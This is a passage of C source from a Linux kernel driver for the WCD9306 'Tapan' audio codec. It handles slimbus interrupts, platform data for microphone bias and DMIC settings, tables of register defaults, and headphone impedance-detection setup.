* INT SOURCE register starts from RX to TX
* but port number in the ch_mask is in opposite way
*/
bit = (tx ? j - 16 : j + 16);
dev_dbg(codec->dev, "%s: %s port %d closed value %x, bit %u\n",
__func__, (tx ? "TX" : "RX"), port_id, val,
bit);
for (k = 0, cleared = false; k < NUM_CODEC_DAIS; k++) {
dev_dbg(codec->dev, "%s: priv->dai[%d].ch_mask = 0x%lx\n",
__func__, k, priv->dai[k].ch_mask);
if (test_and_clear_bit(bit,
&priv->dai[k].ch_mask)) {
cleared = true;
if (!priv->dai[k].ch_mask)
wake_up(&priv->dai[k].dai_wait);
/*
* There are cases when multiple DAIs
* might be using the same slimbus
* channel. Hence don't break here.
*/
}
}
WARN(!cleared,
"Couldn't find slimbus %s port %d for closing\n",
(tx ? "TX" : "RX"), port_id);
}
wcd9xxx_interface_reg_write(codec->control_data,
TAPAN_SLIM_PGD_PORT_INT_CLR_RX_0 +
(j / 8),
1 << (j % 8));
}
return IRQ_HANDLED;
}
static int tapan_handle_pdata(struct tapan_priv *tapan)
{
struct snd_soc_codec *codec = tapan->codec;
struct wcd9xxx_pdata *pdata = tapan->resmgr.pdata;
int k1, k2, k3, rc = 0;
u8 txfe_bypass;
u8 txfe_buff;
u8 flag;
u8 i = 0, j = 0;
u8 val_txfe = 0, value = 0;
u8 dmic_sample_rate_value = 0;
u8 dmic_b1_ctl_value = 0;
u8 anc_ctl_value = 0;
if (!pdata) {
dev_err(codec->dev, "%s: NULL pdata\n", __func__);
rc = -ENODEV;
goto done;
}
txfe_bypass = pdata->amic_settings.txfe_enable;
txfe_buff = pdata->amic_settings.txfe_buff;
flag = pdata->amic_settings.use_pdata;
/* Make sure settings are correct */
if ((pdata->micbias.ldoh_v > WCD9XXX_LDOH_3P0_V) ||
(pdata->micbias.bias1_cfilt_sel > WCD9XXX_CFILT3_SEL) ||
(pdata->micbias.bias2_cfilt_sel > WCD9XXX_CFILT3_SEL) ||
(pdata->micbias.bias3_cfilt_sel > WCD9XXX_CFILT3_SEL)) {
dev_err(codec->dev, "%s: Invalid ldoh voltage or bias cfilt\n",
__func__);
rc = -EINVAL;
goto done;
}
/* figure out k value */
k1 = wcd9xxx_resmgr_get_k_val(&tapan->resmgr, pdata->micbias.cfilt1_mv);
k2 = wcd9xxx_resmgr_get_k_val(&tapan->resmgr, pdata->micbias.cfilt2_mv);
k3 = wcd9xxx_resmgr_get_k_val(&tapan->resmgr, pdata->micbias.cfilt3_mv);
if (IS_ERR_VALUE(k1) || IS_ERR_VALUE(k2) || IS_ERR_VALUE(k3)) {
dev_err(codec->dev,
"%s: could not get K value. k1 = %d k2 = %d k3 = %d\n",
__func__, k1, k2, k3);
rc = -EINVAL;
goto done;
}
/* Set voltage level and always use LDO */
snd_soc_update_bits(codec, TAPAN_A_LDO_H_MODE_1, 0x0C,
(pdata->micbias.ldoh_v << 2));
snd_soc_update_bits(codec, TAPAN_A_MICB_CFILT_1_VAL, 0xFC, (k1 << 2));
snd_soc_update_bits(codec, TAPAN_A_MICB_CFILT_2_VAL, 0xFC, (k2 << 2));
snd_soc_update_bits(codec, TAPAN_A_MICB_CFILT_3_VAL, 0xFC, (k3 << 2));
i = 0;
while (i < 5) {
if (flag & (0x01 << i)) {
val_txfe = (txfe_bypass & (0x01 << i)) ? 0x20 : 0x00;
val_txfe = val_txfe |
((txfe_buff & (0x01 << i)) ? 0x10 : 0x00);
snd_soc_update_bits(codec,
TAPAN_A_TX_1_2_TEST_EN + j * 10,
0x30, val_txfe);
}
if (flag & (0x01 << (i + 1))) {
val_txfe = (txfe_bypass &
(0x01 << (i + 1))) ? 0x02 : 0x00;
val_txfe |= (txfe_buff &
(0x01 << (i + 1))) ? 0x01 : 0x00;
snd_soc_update_bits(codec,
TAPAN_A_TX_1_2_TEST_EN + j * 10,
0x03, val_txfe);
}
/* Tapan only has TAPAN_A_TX_1_2_TEST_EN and
TAPAN_A_TX_4_5_TEST_EN reg */
if (i == 0) {
i = 3;
continue;
} else if (i == 3) {
break;
}
}
if (pdata->ocp.use_pdata) {
/* not defined in CODEC specification */
if (pdata->ocp.hph_ocp_limit == 1 ||
pdata->ocp.hph_ocp_limit == 5) {
rc = -EINVAL;
goto done;
}
snd_soc_update_bits(codec, TAPAN_A_RX_COM_OCP_CTL,
0x0F, pdata->ocp.num_attempts);
snd_soc_write(codec, TAPAN_A_RX_COM_OCP_COUNT,
((pdata->ocp.run_time << 4) | pdata->ocp.wait_time));
snd_soc_update_bits(codec, TAPAN_A_RX_HPH_OCP_CTL,
0xE0, (pdata->ocp.hph_ocp_limit << 5));
}
/* Set micbias capless mode with tail current */
value = (pdata->micbias.bias1_cap_mode == MICBIAS_EXT_BYP_CAP ?
0x00 : 0x10);
snd_soc_update_bits(codec, TAPAN_A_MICB_1_CTL, 0x10, value);
value = (pdata->micbias.bias2_cap_mode == MICBIAS_EXT_BYP_CAP ?
0x00 : 0x10);
snd_soc_update_bits(codec, TAPAN_A_MICB_2_CTL, 0x10, value);
value = (pdata->micbias.bias3_cap_mode == MICBIAS_EXT_BYP_CAP ?
0x00 : 0x10);
snd_soc_update_bits(codec, TAPAN_A_MICB_3_CTL, 0x10, value);
/* Set the DMIC sample rate */
if (pdata->mclk_rate == TAPAN_MCLK_CLK_9P6MHZ) {
switch (pdata->dmic_sample_rate) {
case WCD9XXX_DMIC_SAMPLE_RATE_2P4MHZ:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_4;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_4;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_OFF;
break;
case WCD9XXX_DMIC_SAMPLE_RATE_4P8MHZ:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_2;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_2;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_ON;
break;
case WCD9XXX_DMIC_SAMPLE_RATE_3P2MHZ:
case WCD9XXX_DMIC_SAMPLE_RATE_UNDEFINED:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_3;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_3;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_OFF;
break;
default:
dev_err(codec->dev,
"%s Invalid sample rate %d for mclk %d\n",
__func__, pdata->dmic_sample_rate,
pdata->mclk_rate);
rc = -EINVAL;
goto done;
}
} else if (pdata->mclk_rate == TAPAN_MCLK_CLK_12P288MHZ) {
switch (pdata->dmic_sample_rate) {
case WCD9XXX_DMIC_SAMPLE_RATE_3P072MHZ:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_4;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_4;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_OFF;
break;
case WCD9XXX_DMIC_SAMPLE_RATE_6P144MHZ:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_2;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_2;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_ON;
break;
case WCD9XXX_DMIC_SAMPLE_RATE_4P096MHZ:
case WCD9XXX_DMIC_SAMPLE_RATE_UNDEFINED:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_3;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_3;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_OFF;
break;
default:
dev_err(codec->dev,
"%s Invalid sample rate %d for mclk %d\n",
__func__, pdata->dmic_sample_rate,
pdata->mclk_rate);
rc = -EINVAL;
goto done;
}
} else {
dev_err(codec->dev, "%s MCLK is not set!\n", __func__);
rc = -EINVAL;
goto done;
}
snd_soc_update_bits(codec, TAPAN_A_CDC_TX1_DMIC_CTL,
0x7, dmic_sample_rate_value);
snd_soc_update_bits(codec, TAPAN_A_CDC_TX2_DMIC_CTL,
0x7, dmic_sample_rate_value);
snd_soc_update_bits(codec, TAPAN_A_CDC_TX3_DMIC_CTL,
0x7, dmic_sample_rate_value);
snd_soc_update_bits(codec, TAPAN_A_CDC_TX4_DMIC_CTL,
0x7, dmic_sample_rate_value);
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_DMIC_B1_CTL,
0xEE, dmic_b1_ctl_value);
snd_soc_update_bits(codec, TAPAN_A_CDC_ANC1_B2_CTL,
0x1, anc_ctl_value);
done:
return rc;
}
static const struct tapan_reg_mask_val tapan_reg_defaults[] = {
/* enable QFUSE for wcd9306 */
TAPAN_REG_VAL(TAPAN_A_QFUSE_CTL, 0x03),
/* PROGRAM_THE_0P85V_VBG_REFERENCE = V_0P858V */
TAPAN_REG_VAL(TAPAN_A_BIAS_CURR_CTL_2, 0x04),
TAPAN_REG_VAL(TAPAN_A_CDC_CLK_POWER_CTL, 0x03),
/* EAR PA deafults */
TAPAN_REG_VAL(TAPAN_A_RX_EAR_CMBUFF, 0x05),
/* RX1 and RX2 defaults */
TAPAN_REG_VAL(TAPAN_A_CDC_RX1_B6_CTL, 0xA0),
TAPAN_REG_VAL(TAPAN_A_CDC_RX2_B6_CTL, 0x80),
/* Heaset set Right from RX2 */
TAPAN_REG_VAL(TAPAN_A_CDC_CONN_RX2_B2_CTL, 0x10),
/*
* The following only need to be written for Tapan 1.0 parts.
* Tapan 2.0 will have appropriate defaults for these registers.
*/
/* Required defaults for class H operation */
/* borrowed from Taiko class-h */
TAPAN_REG_VAL(TAPAN_A_RX_HPH_CHOP_CTL, 0xF4),
TAPAN_REG_VAL(TAPAN_A_BIAS_CURR_CTL_2, 0x08),
TAPAN_REG_VAL(WCD9XXX_A_BUCK_CTRL_CCL_1, 0x5B),
TAPAN_REG_VAL(WCD9XXX_A_BUCK_CTRL_CCL_3, 0x6F),
/* TODO: Check below reg writes conflict with above */
/* PROGRAM_THE_0P85V_VBG_REFERENCE = V_0P858V */
TAPAN_REG_VAL(TAPAN_A_BIAS_CURR_CTL_2, 0x04),
TAPAN_REG_VAL(TAPAN_A_RX_HPH_CHOP_CTL, 0x74),
TAPAN_REG_VAL(TAPAN_A_RX_BUCK_BIAS1, 0x62),
/* Choose max non-overlap time for NCP */
TAPAN_REG_VAL(TAPAN_A_NCP_CLK, 0xFC),
/* Use 25mV/50mV for deltap/m to reduce ripple */
TAPAN_REG_VAL(WCD9XXX_A_BUCK_CTRL_VCL_1, 0x08),
/*
* Set DISABLE_MODE_SEL<1:0> to 0b10 (disable PWM in auto mode).
* Note that the other bits of this register will be changed during
* Rx PA bring up.
*/
TAPAN_REG_VAL(WCD9XXX_A_BUCK_MODE_3, 0xCE),
/* Reduce HPH DAC bias to 70% */
TAPAN_REG_VAL(TAPAN_A_RX_HPH_BIAS_PA, 0x7A),
/*Reduce EAR DAC bias to 70% */
TAPAN_REG_VAL(TAPAN_A_RX_EAR_BIAS_PA, 0x76),
/* Reduce LINE DAC bias to 70% */
TAPAN_REG_VAL(TAPAN_A_RX_LINE_BIAS_PA, 0x78),
/*
* There is a diode to pull down the micbias while doing
* insertion detection. This diode can cause leakage.
* Set bit 0 to 1 to prevent leakage.
* Setting this bit of micbias 2 prevents leakage for all other micbias.
*/
TAPAN_REG_VAL(TAPAN_A_MICB_2_MBHC, 0x41),
/*
* Default register settings to support dynamic change of
* vdd_buck between 1.8 volts and 2.15 volts.
*/
TAPAN_REG_VAL(TAPAN_A_BUCK_MODE_2, 0xAA),
};
static const struct tapan_reg_mask_val tapan_2_x_reg_reset_values[] = {
TAPAN_REG_VAL(TAPAN_A_TX_7_MBHC_EN, 0x6C),
TAPAN_REG_VAL(TAPAN_A_BUCK_CTRL_CCL_4, 0x51),
TAPAN_REG_VAL(TAPAN_A_RX_HPH_CNP_WG_CTL, 0xDA),
TAPAN_REG_VAL(TAPAN_A_RX_EAR_CNP, 0xC0),
TAPAN_REG_VAL(TAPAN_A_RX_LINE_1_TEST, 0x02),
TAPAN_REG_VAL(TAPAN_A_RX_LINE_2_TEST, 0x02),
TAPAN_REG_VAL(TAPAN_A_SPKR_DRV_OCP_CTL, 0x97),
TAPAN_REG_VAL(TAPAN_A_SPKR_DRV_CLIP_DET, 0x01),
TAPAN_REG_VAL(TAPAN_A_SPKR_DRV_IEC, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_B1_CTL, 0xE4),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_B2_CTL, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_B3_CTL, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_BUCK_NCP_VARS, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_V_PA_HD_EAR, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_V_PA_HD_HPH, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_V_PA_MIN_EAR, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_V_PA_MIN_HPH, 0x00),
};
static const struct tapan_reg_mask_val tapan_1_0_reg_defaults[] = {
/* Close leakage on the spkdrv */
TAPAN_REG_VAL(TAPAN_A_SPKR_DRV_DBG_PWRSTG, 0x24),
TAPAN_REG_VAL(TAPAN_A_SPKR_DRV_DBG_DAC, 0xE5),
};
static void tapan_update_reg_defaults(struct snd_soc_codec *codec)
{
u32 i;
struct wcd9xxx *tapan_core = dev_get_drvdata(codec->dev->parent);
if (!TAPAN_IS_1_0(tapan_core->version)) {
for (i = 0; i < ARRAY_SIZE(tapan_2_x_reg_reset_values); i++)
snd_soc_write(codec, tapan_2_x_reg_reset_values[i].reg,
tapan_2_x_reg_reset_values[i].val);
}
for (i = 0; i < ARRAY_SIZE(tapan_reg_defaults); i++)
snd_soc_write(codec, tapan_reg_defaults[i].reg,
tapan_reg_defaults[i].val);
if (TAPAN_IS_1_0(tapan_core->version)) {
for (i = 0; i < ARRAY_SIZE(tapan_1_0_reg_defaults); i++)
snd_soc_write(codec, tapan_1_0_reg_defaults[i].reg,
tapan_1_0_reg_defaults[i].val);
}
if (!TAPAN_IS_1_0(tapan_core->version))
spkr_drv_wrnd = -1;
else if (spkr_drv_wrnd == 1)
snd_soc_write(codec, TAPAN_A_SPKR_DRV_EN, 0xEF);
}
static void tapan_update_reg_mclk_rate(struct wcd9xxx *wcd9xxx)
{
struct snd_soc_codec *codec;
codec = (struct snd_soc_codec *)(wcd9xxx->ssr_priv);
dev_dbg(codec->dev, "%s: MCLK Rate = %x\n",
__func__, wcd9xxx->mclk_rate);
if (wcd9xxx->mclk_rate == TAPAN_MCLK_CLK_12P288MHZ) {
snd_soc_update_bits(codec, TAPAN_A_CHIP_CTL, 0x06, 0x0);
snd_soc_update_bits(codec, TAPAN_A_RX_COM_TIMER_DIV, 0x01,
0x01);
} else if (wcd9xxx->mclk_rate == TAPAN_MCLK_CLK_9P6MHZ) {
snd_soc_update_bits(codec, TAPAN_A_CHIP_CTL, 0x06, 0x2);
}
}
static const struct tapan_reg_mask_val tapan_codec_reg_init_val[] = {
/* Initialize current threshold to 365MA
* number of wait and run cycles to 4096
*/
{TAPAN_A_RX_HPH_OCP_CTL, 0xE9, 0x69},
{TAPAN_A_RX_COM_OCP_COUNT, 0xFF, 0xFF},
{TAPAN_A_RX_HPH_L_TEST, 0x01, 0x01},
{TAPAN_A_RX_HPH_R_TEST, 0x01, 0x01},
/* Initialize gain registers to use register gain */
{TAPAN_A_RX_HPH_L_GAIN, 0x20, 0x20},
{TAPAN_A_RX_HPH_R_GAIN, 0x20, 0x20},
{TAPAN_A_RX_LINE_1_GAIN, 0x20, 0x20},
{TAPAN_A_RX_LINE_2_GAIN, 0x20, 0x20},
{TAPAN_A_SPKR_DRV_GAIN, 0x04, 0x04},
/* Set RDAC5 MUX to take input from DEM3_INV.
* This sets LO2 DAC to get input from DEM3_INV
* for LO1 and LO2 to work as differential outputs.
*/
{TAPAN_A_CDC_CONN_MISC, 0x04, 0x04},
/* CLASS H config */
{TAPAN_A_CDC_CONN_CLSH_CTL, 0x3C, 0x14},
/* Use 16 bit sample size for TX1 to TX5 */
{TAPAN_A_CDC_CONN_TX_SB_B1_CTL, 0x30, 0x20},
{TAPAN_A_CDC_CONN_TX_SB_B2_CTL, 0x30, 0x20},
{TAPAN_A_CDC_CONN_TX_SB_B3_CTL, 0x30, 0x20},
{TAPAN_A_CDC_CONN_TX_SB_B4_CTL, 0x30, 0x20},
{TAPAN_A_CDC_CONN_TX_SB_B5_CTL, 0x30, 0x20},
/* Disable SPK SWITCH */
{TAPAN_A_SPKR_DRV_DAC_CTL, 0x04, 0x00},
/* Use 16 bit sample size for RX */
{TAPAN_A_CDC_CONN_RX_SB_B1_CTL, 0xFF, 0xAA},
{TAPAN_A_CDC_CONN_RX_SB_B2_CTL, 0xFF, 0x2A},
/*enable HPF filter for TX paths */
{TAPAN_A_CDC_TX1_MUX_CTL, 0x8, 0x0},
{TAPAN_A_CDC_TX2_MUX_CTL, 0x8, 0x0},
{TAPAN_A_CDC_TX3_MUX_CTL, 0x8, 0x0},
{TAPAN_A_CDC_TX4_MUX_CTL, 0x8, 0x0},
/* Compander zone selection */
{TAPAN_A_CDC_COMP0_B4_CTL, 0x3F, 0x37},
{TAPAN_A_CDC_COMP1_B4_CTL, 0x3F, 0x37},
{TAPAN_A_CDC_COMP2_B4_CTL, 0x3F, 0x37},
{TAPAN_A_CDC_COMP0_B5_CTL, 0x7F, 0x7F},
{TAPAN_A_CDC_COMP1_B5_CTL, 0x7F, 0x7F},
{TAPAN_A_CDC_COMP2_B5_CTL, 0x7F, 0x7F},
/*
* Setup wavegen timer to 20msec and disable chopper
* as default. This corresponds to Compander OFF
*/
{TAPAN_A_RX_HPH_CNP_WG_CTL, 0xFF, 0xDB},
{TAPAN_A_RX_HPH_CNP_WG_TIME, 0xFF, 0x58},
{TAPAN_A_RX_HPH_BIAS_WG_OCP, 0xFF, 0x1A},
{TAPAN_A_RX_HPH_CHOP_CTL, 0xFF, 0x24},
};
void *tapan_get_afe_config(struct snd_soc_codec *codec,
enum afe_config_type config_type)
{
struct tapan_priv *priv = snd_soc_codec_get_drvdata(codec);
switch (config_type) {
case AFE_SLIMBUS_SLAVE_CONFIG:
return &priv->slimbus_slave_cfg;
case AFE_CDC_REGISTERS_CONFIG:
return &tapan_audio_reg_cfg;
case AFE_AANC_VERSION:
return &tapan_cdc_aanc_version;
default:
pr_err("%s: Unknown config_type 0x%x\n", __func__, config_type);
return NULL;
}
}
static void tapan_init_slim_slave_cfg(struct snd_soc_codec *codec)
{
struct tapan_priv *priv = snd_soc_codec_get_drvdata(codec);
struct afe_param_cdc_slimbus_slave_cfg *cfg;
struct wcd9xxx *wcd9xxx = codec->control_data;
uint64_t eaddr = 0;
pr_debug("%s\n", __func__);
cfg = &priv->slimbus_slave_cfg;
cfg->minor_version = 1;
cfg->tx_slave_port_offset = 0;
cfg->rx_slave_port_offset = 16;
memcpy(&eaddr, &wcd9xxx->slim->e_addr, sizeof(wcd9xxx->slim->e_addr));
/* e-addr is 6-byte elemental address of the device */
WARN_ON(sizeof(wcd9xxx->slim->e_addr) != 6);
cfg->device_enum_addr_lsw = eaddr & 0xFFFFFFFF;
cfg->device_enum_addr_msw = eaddr >> 32;
pr_debug("%s: slimbus logical address 0x%llx\n", __func__, eaddr);
}
static void tapan_codec_init_reg(struct snd_soc_codec *codec)
{
u32 i;
for (i = 0; i < ARRAY_SIZE(tapan_codec_reg_init_val); i++)
snd_soc_update_bits(codec, tapan_codec_reg_init_val[i].reg,
tapan_codec_reg_init_val[i].mask,
tapan_codec_reg_init_val[i].val);
}
static void tapan_slim_interface_init_reg(struct snd_soc_codec *codec)
{
int i;
for (i = 0; i < WCD9XXX_SLIM_NUM_PORT_REG; i++)
wcd9xxx_interface_reg_write(codec->control_data,
TAPAN_SLIM_PGD_PORT_INT_EN0 + i,
0xFF);
}
static int tapan_setup_irqs(struct tapan_priv *tapan)
{
int ret = 0;
struct snd_soc_codec *codec = tapan->codec;
struct wcd9xxx *wcd9xxx = codec->control_data;
struct wcd9xxx_core_resource *core_res = &wcd9xxx->core_res;
ret = wcd9xxx_request_irq(core_res, WCD9XXX_IRQ_SLIMBUS,
tapan_slimbus_irq, "SLIMBUS Slave", tapan);
if (ret)
pr_err("%s: Failed to request irq %d\n", __func__,
WCD9XXX_IRQ_SLIMBUS);
else
tapan_slim_interface_init_reg(codec);
return ret;
}
static void tapan_cleanup_irqs(struct tapan_priv *tapan)
{
struct snd_soc_codec *codec = tapan->codec;
struct wcd9xxx *wcd9xxx = codec->control_data;
struct wcd9xxx_core_resource *core_res = &wcd9xxx->core_res;
wcd9xxx_free_irq(core_res, WCD9XXX_IRQ_SLIMBUS, tapan);
}
static void tapan_enable_mux_bias_block(struct snd_soc_codec *codec)
{
snd_soc_update_bits(codec, WCD9XXX_A_MBHC_SCALING_MUX_1,
0x80, 0x00);
}
static void tapan_put_cfilt_fast_mode(struct snd_soc_codec *codec,
struct wcd9xxx_mbhc *mbhc)
{
snd_soc_update_bits(codec, mbhc->mbhc_bias_regs.cfilt_ctl,
0x30, 0x30);
}
static void tapan_codec_specific_cal_setup(struct snd_soc_codec *codec,
struct wcd9xxx_mbhc *mbhc)
{
snd_soc_update_bits(codec, WCD9XXX_A_CDC_MBHC_B1_CTL,
0x04, 0x04);
snd_soc_update_bits(codec, WCD9XXX_A_TX_7_MBHC_EN, 0xE0, 0xE0);
}
static struct wcd9xxx_cfilt_mode tapan_codec_switch_cfilt_mode(
struct wcd9xxx_mbhc *mbhc,
bool fast)
{
struct snd_soc_codec *codec = mbhc->codec;
struct wcd9xxx_cfilt_mode cfilt_mode;
if (fast)
cfilt_mode.reg_mode_val = WCD9XXX_CFILT_EXT_PRCHG_EN;
else
cfilt_mode.reg_mode_val = WCD9XXX_CFILT_EXT_PRCHG_DSBL;
cfilt_mode.cur_mode_val =
snd_soc_read(codec, mbhc->mbhc_bias_regs.cfilt_ctl) & 0x30;
cfilt_mode.reg_mask = 0x30;
return cfilt_mode;
}
static void tapan_select_cfilt(struct snd_soc_codec *codec,
struct wcd9xxx_mbhc *mbhc)
{
snd_soc_update_bits(codec, mbhc->mbhc_bias_regs.ctl_reg, 0x60, 0x00);
}
enum wcd9xxx_cdc_type tapan_get_cdc_type(void)
{
return WCD9XXX_CDC_TYPE_TAPAN;
}
static void wcd9xxx_prepare_hph_pa(struct wcd9xxx_mbhc *mbhc,
struct list_head *lh)
{
int i;
struct snd_soc_codec *codec = mbhc->codec;
u32 delay;
const struct wcd9xxx_reg_mask_val reg_set_paon[] = {
{WCD9XXX_A_CDC_CLSH_B1_CTL, 0x0F, 0x00},
{WCD9XXX_A_RX_HPH_CHOP_CTL, 0xFF, 0xA4},
{WCD9XXX_A_RX_HPH_OCP_CTL, 0xFF, 0x67},
{WCD9XXX_A_RX_HPH_L_TEST, 0x1, 0x0},
{WCD9XXX_A_RX_HPH_R_TEST, 0x1, 0x0},
{WCD9XXX_A_RX_HPH_BIAS_WG_OCP, 0xFF, 0x1A},
{WCD9XXX_A_RX_HPH_CNP_WG_CTL, 0xFF, 0xDB},
{WCD9XXX_A_RX_HPH_CNP_WG_TIME, 0xFF, 0x2A},
{TAPAN_A_CDC_CONN_RX2_B2_CTL, 0xFF, 0x10},
{WCD9XXX_A_CDC_CLK_OTHR_CTL, 0xFF, 0x05},
{WCD9XXX_A_CDC_RX1_B6_CTL, 0xFF, 0x81},
{WCD9XXX_A_CDC_CLK_RX_B1_CTL, 0x03, 0x03},
{WCD9XXX_A_RX_HPH_L_GAIN, 0xFF, 0x2C},
{WCD9XXX_A_CDC_RX2_B6_CTL, 0xFF, 0x81},
{WCD9XXX_A_RX_HPH_R_GAIN, 0xFF, 0x2C},
{WCD9XXX_A_BUCK_CTRL_CCL_4, 0xFF, 0x50},
{WCD9XXX_A_BUCK_CTRL_VCL_1, 0xFF, 0x08},
{WCD9XXX_A_BUCK_CTRL_CCL_1, 0xFF, 0x5B},
{WCD9XXX_A_NCP_CLK, 0xFF, 0x9C},
{WCD9XXX_A_NCP_CLK, 0xFF, 0xFC},
{WCD9XXX_A_BUCK_MODE_3, 0xFF, 0xCE},
{WCD9XXX_A_BUCK_CTRL_CCL_3, 0xFF, 0x6B},
{WCD9XXX_A_BUCK_CTRL_CCL_3, 0xFF, 0x6F},
{TAPAN_A_RX_BUCK_BIAS1, 0xFF, 0x62},
{TAPAN_A_RX_HPH_BIAS_PA, 0xFF, 0x7A},
{TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL, 0xFF, 0x02},
{TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL, 0xFF, 0x06},
{WCD9XXX_A_RX_COM_BIAS, 0xFF, 0x80},
{WCD9XXX_A_BUCK_MODE_3, 0xFF, 0xC6},
{WCD9XXX_A_BUCK_MODE_4, 0xFF, 0xE6},
{WCD9XXX_A_BUCK_MODE_5, 0xFF, 0x02},
{WCD9XXX_A_BUCK_MODE_1, 0xFF, 0xA1},
/* Delay 1ms */
{WCD9XXX_A_NCP_EN, 0xFF, 0xFF},
/* Delay 1ms */
{WCD9XXX_A_BUCK_MODE_5, 0xFF, 0x03},
{WCD9XXX_A_BUCK_MODE_5, 0xFF, 0x7B},
{WCD9XXX_A_CDC_CLSH_B1_CTL, 0xFF, 0xE6},
{WCD9XXX_A_RX_HPH_L_DAC_CTL, 0xFF, 0x40},
{WCD9XXX_A_RX_HPH_L_DAC_CTL, 0xFF, 0xC0},
{WCD9XXX_A_RX_HPH_R_DAC_CTL, 0xFF, 0x40},
{WCD9XXX_A_RX_HPH_R_DAC_CTL, 0xFF, 0xC0},
{WCD9XXX_A_NCP_STATIC, 0xFF, 0x08},
{WCD9XXX_A_RX_HPH_L_DAC_CTL, 0x03, 0x01},
{WCD9XXX_A_RX_HPH_R_DAC_CTL, 0x03, 0x01},
};
/*
* Configure PA in class-AB, -18dB gain,
* companding off, OCP off, Chopping ON
*/
for (i = 0; i < ARRAY_SIZE(reg_set_paon); i++) {
/*
* Some of the codec registers like BUCK_MODE_1
* and NCP_EN requires 1ms wait time for them
* to take effect. Other register writes for
* PA configuration do not require any wait time.
*/
if (reg_set_paon[i].reg == WCD9XXX_A_BUCK_MODE_1 ||
reg_set_paon[i].reg == WCD9XXX_A_NCP_EN)
delay = 1000;
else
delay = 0;
wcd9xxx_soc_update_bits_push(codec, lh,
reg_set_paon[i].reg,
reg_set_paon[i].mask,
reg_set_paon[i].val, delay);
}
pr_debug("%s: PAs are prepared\n", __func__);
return;
}
static int wcd9xxx_enable_static_pa(struct wcd9xxx_mbhc *mbhc, bool enable)
{
struct snd_soc_codec *codec = mbhc->codec;
int wg_time = snd_soc_read(codec, WCD9XXX_A_RX_HPH_CNP_WG_TIME) *
TAPAN_WG_TIME_FACTOR_US;
/*
* Tapan requires additional time to enable PA.
* It is observed during experiments that we need
* an additional wait time about 0.35 times of
* the WG_TIME
*/
wg_time += (int) (wg_time * 35) / 100;
snd_soc_update_bits(codec, WCD9XXX_A_RX_HPH_CNP_EN, 0x30,
enable ? 0x30 : 0x0);
/* Wait for wave gen time to avoid pop noise */
usleep_range(wg_time, wg_time + WCD9XXX_USLEEP_RANGE_MARGIN_US);
pr_debug("%s: PAs are %s as static mode (wg_time %d)\n", __func__,
enable ? "enabled" : "disabled", wg_time);
return 0;
}
static int tapan_setup_zdet(struct wcd9xxx_mbhc *mbhc,
enum mbhc_impedance_detect_stages stage)
{
int ret = 0;
struct snd_soc_codec *codec = mbhc->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
const int mux_wait_us = 25;
switch (stage) {
case MBHC_ZDET_PRE_MEASURE:
INIT_LIST_HEAD(&tapan->reg_save_restore);
/* Configure PA */
wcd9xxx_prepare_hph_pa(mbhc, &tapan->reg_save_restore);
#define __wr(reg, mask, value) \
do { \
ret = wcd9xxx_soc_update_bits_push(codec, \
&tapan->reg_save_restore, \
reg, mask, value, 0); \
if (ret < 0) \
return ret; \
} while (0)
/* Setup MBHC */
__wr(WCD9XXX_A_MBHC_SCALING_MUX_1, 0x7F, 0x40);
__wr(WCD9XXX_A_MBHC_SCALING_MUX_2, 0xFF, 0xF0);
__wr(WCD9XXX_A_TX_7_MBHC_TEST_CTL, 0xFF, 0x78);
__wr(WCD9XXX_A_TX_7_MBHC_EN, 0xFF, 0xEC);
__wr(WCD9XXX_A_CDC_MBHC_TIMER_B4_CTL, 0xFF, 0x45);
__wr(WCD9XXX_A_CDC_MBHC_TIMER_B5_CTL, 0xFF, 0x80);
__wr(WCD9XXX_A_CDC_MBHC_CLK_CTL, 0xFF, 0x0A);
snd_soc_write(codec, WCD9XXX_A_CDC_MBHC_EN_CTL, 0x2);
__wr(WCD9XXX_A_CDC_MBHC_CLK_CTL, 0xFF, 0x02);
/* Enable Impedance Detection */
__wr(WCD9XXX_A_MBHC_HPH, 0xFF, 0xC8);
/*
* CnP setup for 0mV
* Route static data as input to noise shaper
*/
__wr(TAPAN_A_CDC_RX1_B3_CTL, 0xFF, 0x02);
__wr(TAPAN_A_CDC_RX2_B3_CTL, 0xFF, 0x02);
snd_soc_update_bits(codec, WCD9XXX_A_RX_HPH_L_TEST,
0x02, 0x00);
snd_soc_update_bits(codec, WCD9XXX_A_RX_HPH_R_TEST,
0x02, 0x00);
/* Reset the HPHL static data pointer */
__wr(TAPAN_A_CDC_RX1_B2_CTL, 0xFF, 0x00);
/* Four consecutive writes to set 0V as static data input */
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x00);
